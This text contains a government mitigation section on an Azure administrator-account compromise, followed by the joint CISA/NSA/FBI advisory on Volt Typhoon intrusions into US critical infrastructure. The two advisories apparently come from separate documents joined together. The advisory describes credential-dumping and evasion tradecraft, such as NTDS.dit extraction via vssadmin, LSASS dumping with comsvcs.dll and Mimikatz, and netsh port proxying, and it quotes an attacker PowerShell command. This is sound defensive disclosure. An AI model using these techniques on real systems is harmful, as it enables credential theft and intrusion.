Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST), which apply to all critical infrastructure organizations and network defenders. The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

Secure and Monitor Administrator Accounts

The threat actor gained access to the network via compromised administrator accounts that did not have MFA enabled. The compromised USER2 Global Domain Administrator account could have enabled the threat actor to move laterally from the on-premises environment to the Azure tenant. In response to the incident, the victim organization removed administrator privileges for USER2. Additionally, the victim organization disabled unnecessary administrator accounts and enabled MFA for all administrator accounts. To prevent similar compromises, CISA and MS-ISAC recommend the following:

• Review current administrator accounts to determine their necessity and only maintain administrator accounts that are essential for network management. This will reduce the attack surface and focus efforts on the security and monitoring of necessary accounts.
• Restrict the use of multiple administrator accounts for one user.
• Create separate administrator accounts for on-premises and Azure environments to segment access.
• Implement the principle of least privilege to decrease threat actor’s ability to access key network resources. Enable just-in-time and just enough access for administrator accounts to elevate the minimum necessary privileges for a limited time to complete tasks.
• Use phishing-resistant multifactor authentication (MFA) [CPG 2.H] (e.g., security tokens) for remote access and access to any sensitive data repositories. Implement phishing-resistant MFA for as many services as possible—particularly for webmail and VPNs—for accounts that access critical systems and privileged accounts that manage backups. MFA should also be used for remote logins [M1032]. For additional guidance on secure MFA configurations, visit CISA’s More than a Password webpage and read CISA’s Implementing Phishing-Resistant MFA fact sheet.

Reduce Attack Surface

Unnecessary accounts, software, and services in the network create additional vectors for a threat actor to compromise. CISA and MS-ISAC recommend the following:

• Establish policy and procedure for the prompt removal of unnecessary accounts and groups from the enterprise, especially privileged accounts. Organizations should implement a robust and continuous user management process to ensure accounts of offboarded employees are removed and can no longer access the network.
• Maintain a robust asset management policy through comprehensive documentation of assets, tracking current version information to maintain awareness of outdated software, and mapping assets to business and critical functions.
  • Determine the need and functionality of assets that require public internet exposure [CPG 1.A].
• Follow a routine patching cycle for all operating systems, applications, and software (including all third-party software) to mitigate the potential for exploitation.
• Restrict personal devices from connecting to the network. Personal devices are not subject to the same group policies and security measures as domain joined devices.

Evaluate Tenant Settings

By default, in Azure AD all users can register and manage all aspects of applications they create. Users can also determine and approve what organizational data and services the application can access. These default settings can enable a threat actor to access sensitive information and move laterally in the network. In addition, users who create an Azure AD automatically become the Global Administrator for that tenant. This could allow a threat actor to escalate privileges to execute malicious actions. CISA and MS-ISAC recommend the following:

• Evaluate current user permissions in the Azure tenant to restrict potentially harmful permissions including:
  • Restrict users’ ability to register applications. By default, all users in Azure AD can register and manage the applications they create and approve the data and services the application can access. If this is exploited, a threat actor can access sensitive information and move laterally in the network.
  • Restrict non-administrators from creating tenants. Any user who creates an Azure AD automatically becomes the Global Administrator for that tenant. This creates an opportunity for a threat actor to escalate privileges to the highest privileged account.
  • Restrict access to the Azure AD portal to administrators only. Users without administrative privileges cannot change settings, however, they can view user info, group info, device details, and user privileges. This would allow a threat actor to gather valuable information for malicious activities.

Create a Forensically Ready Organization

• Collect access- and security-focused logs (e.g., intrusion detection systems/intrusion prevention systems, firewall, data loss prevention, and virtual private network) for use in both detection and incident response activities [CPG 2.T].
• Enable complete coverage of tools, including Endpoint Detection and Response (EDR), across the environment for thorough analysis of anomalous activity and remediation of potential vulnerabilities.

Assess Security Configuration of Azure Environment

CISA created the Secure Cloud and Business Applications (SCuBA) assessment tool to help Federal Civilian Executive Branch (FCEB) agencies to verify that a M365 tenant configuration conforms to a minimal viable secure configuration baseline. Although the SCuBA assessment tool was developed for FCEB, other organizations can benefit from its output. CISA and MS-ISAC recommend the following:

• Use tools that identify attack paths. This will enable defenders to identify common attack paths used by threat actors and shut them down before they are exploited.
• Review the security recommendations list provided by Microsoft 365 Defender. Focus remediation on critical vulnerabilities on endpoints that are essential to mission execution and contain sensitive data.

Evaluate Conditional Access Policies

Conditional access policies require users who want to access a resource to complete an action. Conditional access policies also account for common signals, such as user or group memberships, IP location information, device, application, and risky sign-in behavior identified through integration with Azure AD Identity Protection.

• Review current conditional access policies to determine if changes are necessary.

Reset All Passwords and Establish Secure Password Policies

In response to the incident, the victim organization reset passwords for all users.

• Employ strong password management alongside other attribute-based information, such as device information, time of access, user history, and geolocation data. Set a password policy to require complex passwords for all users (minimum of 16 characters) and enforce this new requirement as user passwords expire [CPG 2.A],[CPG 2.B],[CPG 2.C].
• Store credentials in a secure manner, such as with a credential manager, vault, or other privileged account management solution [CPG 2.L].
• For products that come with default passwords, ask vendors how they plan to eliminate default passwords, as highlighted in CISA’s Secure by Design Alert: How Manufacturers Can Protect Customers by Eliminating Default Passwords.

Mitigations for Vendors

CISA recommends that vendors incorporate secure by design principles and tactics into their practices, limiting the impact of threat actor techniques and strengthening the secure posture for their customers.

• Prioritize secure by default configurations, such as eliminating default passwords and providing high-quality audit logs to customers with no additional configuration, at no extra charge. Secure by default configurations should be prioritized to eliminate the need for customer implementation of hardening guidance.
• Immediately identify, mitigate, and update affected products that are not patched in accordance with CISA’s Known Exploited Vulnerabilities (KEV) catalog.
• Implement multifactor authentication (MFA), ideally phishing-resistant MFA, as a default (rather than opt-in) feature for all products.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA and MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see table 2-9).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• MS-ISAC: Center for Internet Security (CIS) Cyber-Attack Defense: CIS Benchmarks + CDM + MITRE ATT&CK

REFERENCES

[1] CISA Analysis: Fiscal Year 2022 Risk and Vulnerability Assessments

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or MS-ISAC.

VERSION HISTORY

February 15, 2024: Initial version.

SUMMARY

The Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Federal Bureau of Investigation (FBI) assess that People’s Republic of China (PRC) state-sponsored cyber actors are seeking to pre-position themselves on IT networks for disruptive or destructive cyberattacks against U.S. critical infrastructure in the event of a major crisis or conflict with the United States.

CISA, NSA, FBI and the following partners are releasing this advisory to warn critical infrastructure organizations about this assessment, which is based on observations from the U.S. authoring agencies’ incident response activities at critical infrastructure organizations compromised by the PRC state-sponsored cyber group known as Volt Typhoon (also known as Vanguard Panda, BRONZE SILHOUETTE, Dev-0391, UNC3236, Voltzite, and Insidious Taurus):

• U.S. Department of Energy (DOE)
• U.S. Environmental Protection Agency (EPA)
• U.S. Transportation Security Administration (TSA)
• Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
• Canadian Centre for Cyber Security (CCCS), a part of the Communications Security Establishment (CSE)
• United Kingdom National Cyber Security Centre (NCSC-UK)
• New Zealand National Cyber Security Centre (NCSC-NZ)

The U.S. authoring agencies have confirmed that Volt Typhoon has compromised the IT environments of multiple critical infrastructure organizations—primarily in Communications, Energy, Transportation Systems, and Water and Wastewater Systems Sectors—in the continental and non-continental United States and its territories, including Guam. Volt Typhoon’s choice of targets and pattern of behavior is not consistent with traditional cyber espionage or intelligence gathering operations, and the U.S. authoring agencies assess with high confidence that Volt Typhoon actors are pre-positioning themselves on IT networks to enable lateral movement to OT assets to disrupt functions. The U.S. authoring agencies are concerned about the potential for these actors to use their network access for disruptive effects in the event of potential geopolitical tensions and/or military conflicts. CCCS assesses that the direct threat to Canada’s critical infrastructure from PRC state-sponsored actors is likely lower than that to U.S. infrastructure, but should U.S. infrastructure be disrupted, Canada would likely be affected as well, due to cross-border integration. ASD’s ACSC and NCSC-NZ assess Australian and New Zealand critical infrastructure, respectively, could be vulnerable to similar activity from PRC state-sponsored actors.

As the authoring agencies have previously highlighted, the use of living off the land (LOTL) techniques is a hallmark of Volt Typhoon actors’ malicious cyber activity when targeting critical infrastructure. The group also relies on valid accounts and leverage strong operational security, which combined, allows for long-term undiscovered persistence. In fact, the U.S. authoring agencies have recently observed indications of Volt Typhoon actors maintaining access and footholds within some victim IT environments for at least five years. Volt Typhoon actors conduct extensive pre-exploitation reconnaissance to learn about the target organization and its environment; tailor their tactics, techniques, and procedures (TTPs) to the victim’s environment; and dedicate ongoing resources to maintaining persistence and understanding the target environment over time, even after initial compromise.

The authoring agencies urge critical infrastructure organizations to apply the mitigations in this advisory and to hunt for similar malicious activity using the guidance herein provided, along with the recommendations found in joint guide Identifying and Mitigating Living Off the Land Techniques. These mitigations are primarily intended for IT and OT administrators in critical infrastructure organizations. Following the mitigations for prevention of or in response to an incident will help disrupt Volt Typhoon’s accesses and reduce the threat to critical infrastructure entities.

If activity is identified, the authoring agencies strongly recommend that critical infrastructure organizations apply the incident response recommendations in this advisory and report the incident to the relevant agency (see Contact Information section).

For additional information, see joint advisory People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection and U.S. Department of Justice (DOJ) press release U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure. For more information on PRC state-sponsored malicious cyber activity, see CISA’s China Cyber Threat Overview and Advisories webpage.

Download the PDF version of this report:

Read the accompanying Malware Analysis Report: MAR-10448362-1.v1 Volt Typhoon.

For a downloadable copy of indicators of compromise (IOCs), see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See Appendix C: MITRE ATT&CK Tactics and Techniques section for tables of the Volt Typhoon cyber threat actors’ activity mapped to MITRE ATT&CK^® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview of Activity

In May 2023, the authoring agencies—working with industry partners—disclosed information about activity attributed to Volt Typhoon (see joint advisory People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection). Since then, CISA, NSA, and FBI have determined that this activity is part of a broader campaign in which Volt Typhoon actors have successfully infiltrated the networks of critical infrastructure organizations in the continental and non-continental United States and its territories, including Guam.

The U.S. authoring agencies have primarily observed compromises linked to Volt Typhoon in Communications, Energy, Transportation Systems, and Water and Wastewater Systems sector organizations’ IT networks. Some victims are smaller organizations with limited cybersecurity capabilities that provide critical services to larger organizations or key geographic locations.

Volt Typhoon actors tailor their TTPs to the victim environment; however, the U.S. authoring agencies have observed the actors typically following the same pattern of behavior across identified intrusions. Their choice of targets and pattern of behavior is not consistent with traditional cyber espionage or intelligence gathering operations, and the U.S. authoring agencies assess with high confidence that Volt Typhoon actors are pre-positioning themselves on IT networks to enable the disruption of OT functions across multiple critical infrastructure sectors (see Figure 1).

1. Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization’s network architecture and operational protocols. This reconnaissance includes identifying network topologies, security measures, typical user behaviors, and key network and IT staff. The intelligence gathered by Volt Typhoon actors is likely leveraged to enhance their operational security. For example, in some instances, Volt Typhoon actors may have abstained from using compromised credentials outside of normal working hours to avoid triggering security alerts on abnormal account activities.
2. Volt Typhoon typically gains initial access to the IT network by exploiting known or zero-day vulnerabilities in public-facing network appliances (e.g., routers, virtual private networks [VPNs], and firewalls) and then connects to the victim’s network via VPN for follow-on activities.
3. Volt Typhoon aims to obtain administrator credentials within the network, often by exploiting privilege escalation vulnerabilities in the operating system or network services. In some cases, Volt Typhoon has obtained credentials insecurely stored on a public-facing network appliance.
4. Volt Typhoon uses valid administrator credentials to move laterally to the domain controller (DC) and other devices via remote access services such as Remote Desktop Protocol (RDP).
5. Volt Typhoon conducts discovery in the victim’s network, leveraging LOTL binaries for stealth. A key tactic includes using PowerShell to perform targeted queries on Windows event logs, focusing on specific users and periods. These queries facilitate the discreet extraction of security event logs into .dat files, allowing Volt Typhoon actors to gather critical information while minimizing detection. This strategy, blending in-depth pre-compromise reconnaissance with meticulous post-exploitation intelligence collection, underscores their sophisticated and strategic approach to cyber operations.
6. Volt Typhoon achieves full domain compromise by extracting the Active Directory database (NTDS.dit) from the DC. Volt Typhoon frequently employs the Volume Shadow Copy Service (VSS) using command-line utilities such as vssadmin to access NTDS.dit. The NTDS.dit file is a centralized repository that contains critical Active Directory data, including user accounts, passwords (in hashed form), and other sensitive data, which can be leveraged for further exploitation. This method entails the creation of a shadow copy—a point-in-time snapshot—of the volume hosting the NTDS.dit file. By leveraging this snapshot, Volt Typhoon actors effectively bypass the file locking mechanisms inherent in a live Windows environment, which typically prevent direct access to the NTDS.dit file while the domain controller is operational.
7. Volt Typhoon likely uses offline password cracking techniques to decipher these hashes. This process involves extracting the hashes from the NTDS.dit file and then applying various password cracking methods, such as brute force attacks, dictionary attacks, or more sophisticated techniques like rainbow tables to uncover the plaintext passwords. The successful decryption of these passwords allows Volt Typhoon actors to obtain elevated access and further infiltrate and manipulate the network.
8. Volt Typhoon uses elevated credentials for strategic network infiltration and additional discovery, often focusing on gaining capabilities to access OT assets. Volt Typhoon actors have been observed testing access to domain-joint OT assets using default OT vendor credentials, and in certain instances, they have possessed the capability to access OT systems whose credentials were compromised via NTDS.dit theft. This access enables potential disruptions, such as manipulating heating, ventilation, and air conditioning (HVAC) systems in server rooms or disrupting critical energy and water controls, leading to significant infrastructure failures (in some cases, Volt Typhoon actors had the capability to access camera surveillance systems at critical infrastructure facilities). In one confirmed compromise, Volt Typhoon actors moved laterally to a control system and were positioned to move to a second control system.

After successfully gaining access to legitimate accounts, Volt Typhoon actors exhibit minimal activity within the compromised environment (except discovery as noted above), suggesting their objective is to maintain persistence rather than immediate exploitation. This assessment is supported by observed patterns where Volt Typhoon methodically re-targets the same organizations over extended periods, often spanning several years, to continuously validate and potentially enhance their unauthorized accesses. Evidence of their meticulous approach is seen in instances where they repeatedly exfiltrate domain credentials, ensuring access to current and valid accounts. For example, in one compromise, Volt Typhoon likely extracted NTDS.dit from three domain controllers in a four-year period. In another compromise, Volt Typhoon actors extracted NTDS.dit two times from a victim in a nine-month period.

Industry reporting—identifying that Volt Typhoon actors are silent on the network following credential dumping and perform discovery to learn about the environment, but do not exfiltrate data—is consistent with the U.S. authoring agencies’ observations. This indicates their aim is to achieve and maintain persistence on the network. In one confirmed compromise, an industry partner observed Volt Typhoon actors dumping credentials at regular intervals.

In addition to leveraging stolen account credentials, the actors use LOTL techniques and avoid leaving malware artifacts on systems that would cause alerts. Their strong focus on stealth and operational security allows them to maintain long-term, undiscovered persistence. Further, Volt Typhoon’s operational security is enhanced by targeted log deletion to conceal their actions within the compromised environment.

See the below sections for Volt Typhoon TTPs observed by the U.S. authoring agencies from multiple confirmed Volt Typhoon compromises.

Observed TTPs

Reconnaissance

Volt Typhoon actors conduct extensive pre-compromise reconnaissance [TA0043] to learn about the target organization [T1591], its network [T1590], and its staff [T1589]. This includes web searches [T1593]—including victim-owned sites [T1594]—for victim host [T1592], identity, and network information, especially for information on key network and IT administrators. According to industry reporting, Volt Typhoon actors use FOFA[1], Shodan, and Censys for querying or searching for exposed infrastructure. In some instances, the U.S. authoring agencies have observed Volt Typhoon actors targeting the personal emails of key network and IT staff [T1589.002] post compromise.

Resource Development

Historically, Volt Typhoon actors use multi-hop proxies for command and control (C2) infrastructure [T1090.003]. The proxy is typically composed of virtual private servers (VPSs) [T1583.003] or small office/home office (SOHO) routers. Recently, Volt Typhoon actors used Cisco and NETGEAR end-of-life SOHO routers implanted with KV Botnet malware to support their operations [T1584.005]. (See DOJ press release U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure for more information).

Initial Access

To obtain initial access [TA0001], Volt Typhoon actors commonly exploit vulnerabilities in networking appliances such as those from Fortinet, Ivanti Connect Secure (formerly Pulse Secure), NETGEAR, Citrix, and Cisco [T1190]. They often use publicly available exploit code for known vulnerabilities [T1588.005] but are also adept at discovering and exploiting zero-day vulnerabilities [T1587.004].

• In one confirmed compromise, Volt Typhoon actors likely obtained initial access by exploiting CVE-2022-42475 in a network perimeter FortiGate 300D firewall that was not patched. There is evidence of a buffer overflow attack identified within the Secure Sockets Layer (SSL)-VPN crash logs.

Once initial access is achieved, Volt Typhoon actors typically shift to establishing persistent access [TA0003]. They often use VPN sessions to securely connect to victim environments [T1133], enabling discreet follow-on intrusion activities. This tactic not only provides a stable foothold in the network but also allows them to blend in with regular traffic, significantly reducing their chances of detection.

Execution

Volt Typhoon actors rarely use malware for post-compromise execution. Instead, once Volt Typhoon actors gain access to target environments, they use hands-on-keyboard activity via the command-line [T1059] and other native tools and processes on systems [T1218] (often referred to as “LOLBins”), known as LOTL, to maintain and expand access to the victim networks. According to industry reporting, some “commands appear to be exploratory or experimental, as the operators [i.e., malicious actors] adjust and repeat them multiple times.”[2]

For more details on LOTL activity, see the Credential Access and Discovery sections and Appendix A: Volt Typhoon LOTL Activity.

Similar to LOTL, Volt Typhoon actors also use legitimate but outdated versions of network admin tools. For example, in one confirmed compromise, actors downloaded [T1105] an outdated version of comsvcs.dll on the DC in a non-standard folder. comsvcs.dll is a legitimate Microsoft Dynamic Link Library (DLL) file normally found in the System32 folder. The actors used this DLL with MiniDump and the process ID of the Local Security Authority Subsystem Service (LSASS) to dump the LSASS process memory [T1003.001] and obtain credentials (LSASS process memory space contains hashes for the current user’s operating system (OS) credentials).

The actors also use legitimate non-native network admin and forensic tools. For example, Volt Typhoon actors have been observed using Magnet RAM Capture (MRC) version 1.20 on domain controllers. MRC is a free imaging tool that captures the physical memory of a computer, and Volt Typhoon actors likely used it to analyze in-memory data for sensitive information (such as credentials) and in-transit data not typically accessible on disk. Volt Typhoon actors have also been observed implanting Fast Reverse Proxy (FRP) for command and control.[3] (See the Command and Control section).

Persistence

Volt Typhoon primarily relies on valid credentials for persistence [T1078].

Defense Evasion

Volt Typhoon has strong operational security. Their actors primarily use LOTL for defense evasion [TA0005], which allows them to camouflage their malicious activity with typical system and network behavior, potentially circumventing simplistic endpoint security capabilities. For more information, see joint guide Identifying and Mitigating Living off the Land Techniques.

Volt Typhoon actors also obfuscate their malware. In one confirmed compromise, Volt Typhoon obfuscated FRP client files (BrightmetricAgent.exe and SMSvcService.exe) and the command-line port scanning utility ScanLine by packing the files with Ultimate Packer for Executables (UPX) [T1027.002]. FRP client applications support encryption, compression, and easy token authentication and work across multiple protocols—including transmission control protocol (TCP), user datagram protocol (UDP), hypertext transfer protocol (HTTP), and hypertext transfer protocol secure (HTTPS). The FRP client applications use the Kuai connection protocol (KCP) for error-checked and anonymous data stream delivery over UDP, with packet-level encryption support. See Appendix C and CISA Malware Analysis Report (MAR)-10448362-1.v1 for more information.

In addition to LOTL and obfuscation techniques, Volt Typhoon actors have been observed selectively clearing Windows Event Logs [T1070.001], system logs, and other technical artifacts to remove evidence [T1070.009] of their intrusion activity and masquerading file names [T1036.005].

Credential Access

Volt Typhoon actors first obtain credentials from public-facing appliances after gaining initial access by exploiting privilege escalation vulnerabilities [T1068] in the operating system or network services. In some cases, they have obtained credentials insecurely stored on the appliance [T1552]. In one instance, where Volt Typhoon likely exploited CVE-2022-42475 in an unpatched Fortinet device, Volt Typhoon actors compromised a domain admin account stored inappropriately on the device.

Volt Typhoon also consistently obtains valid credentials by extracting the Active Directory database file (NTDS.dit)—in some cases multiple times from the same victim over long periods [T1003.003]. NTDS.dit contains usernames, hashed passwords, and group memberships for all domain accounts, essentially allowing for full domain compromise if the hashes can be cracked offline.

To obtain NTDS.dit, the U.S. authoring agencies have observed Volt Typhoon:

1. Move laterally [TA0008] to the domain controller via an interactive RDP session using a compromised account with domain administrator privileges [T1021.001];
2. Execute the Windows-native vssadmin [T1006] command to create a volume shadow copy;
3. Use Windows Management Instrumentation Console (WMIC) commands [T1047] to execute ntdsutil (a LOTL utility) to copy NTDS.dit and SYSTEM registry hive from the volume shadow copy; and
4. Exfiltrate [TA0010] NTDS.dit and SYSTEM registry hive to crack passwords offline) [T1110.002]. (For more details, including specific commands used, see Appendix A: Volt Typhoon LOTL Activity.)
   Note: A volume shadow copy contains a copy of all the files and folders that exist on the specified volume. Each volume shadow copy created on a DC includes its NTDS.dit and the SYSTEM registry hive, which provides keys to decrypt the NTDS.dit file.

Volt Typhoon actors have also been observed interacting with a PuTTY application by enumerating existing stored sessions [T1012]. Given this interaction and the exposure of cleartext-stored proxy passwords used in remote administration, Volt Typhoon actors potentially had access to PuTTY profiles that allow access to critical systems (see the Lateral Movement section).

According to industry reporting, Volt Typhoon actors attempted to dump credentials through LSASS (see Appendix B for commands used).[2]

The U.S. authoring agencies have observed Volt Typhoon actors leveraging Mimikatz to harvest credentials, and industry partners have observed Volt Typhoon leveraging Impacket.[2]

• Mimikatz is a credential dumping tool and Volt Typhoon actors use it to obtain credentials. In one confirmed compromise, the Volt Typhoon used RDP to connect to a server and run Mimikatz after leveraging a compromised administrator account to deploy it.
• Impacket is an open source Python toolkit for programmatically constructing and manipulating network protocols. It contains tools for Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks—as well as remote service execution.

Discovery

Volt Typhoon actors have been observed using commercial tools, LOTL utilities, and appliances already present on the system for system information [T1082], network service [T1046], group [T1069] and user [T1033] discovery.

Volt Typhoon uses at least the following LOTL tools and commands for system information, network service, group, and user discovery techniques:

Some observed specific examples of discovery include:

• Capturing successful logon events [T1654].
  • Specifically, in one incident, analysis of the PowerShell console history of a domain controller indicated that security event logs were directed to a file named user.dat, as evidenced by the executed command Get-EventLog security -instanceid 4624 -after [year-month-date] | fl * | Out-File 'C:\users\public\documents\user.dat'. This indicates the group's specific interest in capturing successful logon events (event ID 4624) to analyze user authentication patterns within the network. Additionally, file system analysis, specifically of the Master File Table (MFT), uncovered evidence of a separate file, systeminfo.dat, which was created in C:\Users\Public\Documents but subsequently deleted [T1070.004]. The presence of these activities suggests a methodical approach by Volt Typhoon actors in collecting and then possibly removing traces of sensitive log information from the compromised system.
• Executing tasklist /v to gather a detailed process listing [T1057], followed by executing taskkill /f /im rdpservice.exe (the function of this executable is not known).
• Executing net user and quser for user account information [T1087.001].
• Creating and accessing a file named rult3uil.log on a domain controller in C:\Windows\System32\. The rult3uil.log file contained user activities on a compromised system, showcasing a combination of window title information [T1010] and focus shifts, keypresses, and command executions across Google Chrome and Windows PowerShell, with corresponding timestamps.
• Employing ping with various IP addresses to check network connectivity [T1016.001] and net start to list running services [T1007].

See Appendix A for additional LOTL examples.

In one confirmed compromise, Volt Typhoon actors attempted to use Advanced IP Scanner, which was on the network for admin use, to scan the network.

Volt Typhoon actors have been observed strategically targeting network administrator web browser data—focusing on both browsing history and stored credentials [T1555.003]—to facilitate targeting of personal email addresses (see the Reconnaissance section) for further discovery and possible network modifications that may impact the threat actor’s persistence within victim networks.

In one confirmed compromise:

• Volt Typhoon actors obtained the history file from the User Data directory of a network administrator user’s Chrome browser. To obtain the history file, Volt Typhoon actors first executed an RDP session to the user’s workstation where they initially attempted, and failed, to obtain the C$ File Name: users\{redacted}\appdata\local\Google\Chrome\UserData\default\History file, as evidenced by the accompanying 1016 (reopen failed) SMB error listed in the application event log. The threat actors then disconnected the RDP session to the workstation and accessed the file C:\Users\{redacted}\Downloads\History.zip. This file presumably contained data from the User Data directory of the user’s Chrome browser, which the actors likely saved in the Downloads directory for exfiltration [T1074]. Shortly after accessing the history.zip file, the actors terminated RDP sessions.
• About four months later, Volt Typhoon actors accessed the same user’s Chrome data C$ File Name: Users\{redacted}\AppData\Local\Google\Chrome\User Data\Local State and $ File Name: Users\{redacted}\AppData\Local\Google\Chrome\User Data\Default\Login Data via SMB. The Local State file contains the Advanced Encryption Standard (AES) encryption key [T1552.004] used to encrypt the passwords stored in the Chrome browser, which would enable the actors to obtain plaintext passwords stored in the Login Data file in the Chrome browser.

In another confirmed compromise, Volt Typhoon actors accessed directories containing Chrome and Edge user data on multiple systems. Directory interaction was observed over the network to paths such as C:\Users\{redacted}\AppData\Local\Google\Chrome\User Data\ and C:\Users\{redacted}\AppData\Local\Microsoft\Edge\User Data\. They also enumerated several directories, including directories containing vulnerability testing and cyber related content and facilities data, such as construction drawings [T1083].

Lateral Movement

For lateral movement, Volt Typhoon actors have been observed predominantly employing RDP with compromised valid administrator credentials. Note: With a full on-premises Microsoft Active Directory identity compromise (see the Credential Access section), the group may be capable of using other methods such as Pass the Hash or Pass the Ticket for lateral movement [T1550].

In one confirmed compromise of a Water and Wastewater Systems Sector entity, after obtaining initial access, Volt Typhoon actors connected to the network via a VPN with administrator credentials they obtained and opened an RDP session with the same credentials to move laterally. Over a nine-month period, they moved laterally to a file server, a domain controller, an Oracle Management Server (OMS), and a VMware vCenter server. The actors obtained domain credentials from the domain controller and performed discovery, collection, and exfiltration on the file server (see the Discovery and Collection and Exfiltration sections).

Volt Typhoon’s movement to the vCenter server was likely strategic for pre-positioning to OT assets. The vCenter server was adjacent to OT assets, and Volt Typhoon actors were observed interacting with the PuTTY application on the server by enumerating existing stored sessions. With this information, Volt Typhoon potentially had access to a range of critical PuTTY profiles, including those for water treatment plants, water wells, an electrical substation, OT systems, and network security devices. This would enable them to access these critical systems [T1563]. See Figure 2.

Additionally, Volt Typhoon actors have been observed using PSExec to execute remote processes, including the automated acceptance of the end-user license agreement (EULA) through an administrative account, signified by the accepteula command flag.

Volt Typhoon actors may have attempted to move laterally to a cloud environment in one victim’s network but direct attribution to the Volt Typhoon group was inconclusive. During the period of the their known network presence, there were anomalous login attempts to an Azure tenant [T1021.007] potentially using credentials [T1078.004] previously compromised from theft of NTDS.dit. These attempts, coupled with misconfigured virtual machines with open RDP ports, suggested a potential for cloud-based lateral movement. However, subsequent investigations, including password changes and multifactor authentication (MFA) implementations, revealed authentication failures from non-associated IP addresses, with no definitive link to Volt Typhoon.

Collection and Exfiltration

The U.S. authoring agencies assess Volt Typhoon primarily collects information that would facilitate follow-on actions with physical impacts. For example, in one confirmed compromise, they collected [TA0009] sensitive information obtained from a file server in multiple zipped files [T1560] and likely exfiltrated [TA0010] the files via Server Message Block (SMB) [T1048] (see Figure 3). Collected information included diagrams and documentation related to OT equipment, including supervisory control and data acquisition (SCADA) systems, relays, and switchgear. This data is crucial for understanding and potentially impacting critical infrastructure systems, indicating a focus on gathering intelligence that could be leveraged in actions targeting physical assets and systems.

In another compromise, Volt Typhoon actors leveraged WMIC to create and use temporary directories (C:\Users\Public\pro, C:\Windows\Temp\tmp, C:\Windows\Temp\tmp\Active Directory and C:\Windows\Temp\tmp\registry) to stage the extracted ntds.dit and SYSTEM registry hives from ntdsutil execution volume shadow copies (see the Credential Access section) obtained from two DCs. They then compressed and archived the extracted ntds.dit and accompanying registry files by executing ronf.exe, which was likely a renamed version of the archive utility rar.exe) [T1560.001].

Command and Control

Volt Typhoon actors have been observed leveraging compromised SOHO routers and virtual private servers (VPS) to proxy C2 traffic. For more information, see DOJ press release U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure).

They have also been observed setting up FRP clients [T1090] on a victim’s corporate infrastructure to establish covert communications channels [T1573] for command and control. In one instance, Volt Typhoon actors implanted the FRP client with filename SMSvcService.exe on a Shortel Enterprise Contact Center (ECC) server and a second FRP client with filename Brightmetricagent.exe on another server. These clients, when executed via PowerShell [T1059.001], open reverse proxies between the compromised system and Volt Typhoon C2 servers. Brightmetricagent.exe has additional capabilities. The FRP client can locate servers behind a network firewall or obscured through Network Address Translation (NAT) [T1016]. It also contains multiplexer libraries that can bi-directionally stream data over NAT networks and contains a command-line interface (CLI) library that can leverage command shells such as PowerShell, Windows Management Instrumentation (WMI), and Z Shell (zsh) [T1059.004]. See Appendix C and MAR-10448362-1.v1 for more information.

In the same compromise, Volt Typhoon actors exploited a Paessler Router Traffic Grapher (PRTG) server as an intermediary for their FRP operations. To facilitate this, they used the netsh command, a legitimate Windows command, to create a PortProxy registry modification [T1112] on the PRTG server [T1090.001]. This key alteration redirected specific port traffic to Volt Typhoon’s proxy infrastructure, effectively converting the PRTG’s server into a proxy for their C2 traffic [T1584.004] (see Appendix B for details).

DETECTION/HUNT RECOMMENDATIONS

Apply Living off the Land Detection Best Practices

Apply the prioritized detection and hardening best practice recommendations provided in joint guide Identifying and Mitigating Living off the Land Techniques. Many organizations lack security and network management best practices (such as established baselines) that support detection of malicious LOTL activity—this makes it difficult for network defenders to discern legitimate behavior from malicious behavior and conduct behavior analytics, anomaly detection, and proactive hunting. Conventional IOCs associated with the malicious activity are generally lacking, complicating network defenders’ efforts to identify, track, and categorize this sort of malicious behavior. This advisory provides guidance for a multifaceted cybersecurity strategy that enables behavior analytics, anomaly detection, and proactive hunting, which are part of a comprehensive approach to mitigating cyber threats that employ LOTL techniques.

Review Application, Security, and System Event Logs

Routinely review application, security, and system event logs, focusing on Windows Extensible Storage Engine Technology (ESENT) Application Logs. Due to Volt Typhoon’s ability for long-term undetected persistence, network defenders should assume significant dwell time and review specific application event log IDs, which remain on endpoints for longer periods compared to security event logs and other ephemeral artifacts. Focus on Windows ESENT logs because certain ESENT Application Log event IDs (216, 325, 326, and 327) may indicate actors copying NTDS.dit.

See Table 1 for examples of ESENT and other key log indicators that should be investigated. Please note that incidents may not always have exact matches listed in the Event Detail column due to variations in event logging and TTPs.

Monitor and Review OT System Logs

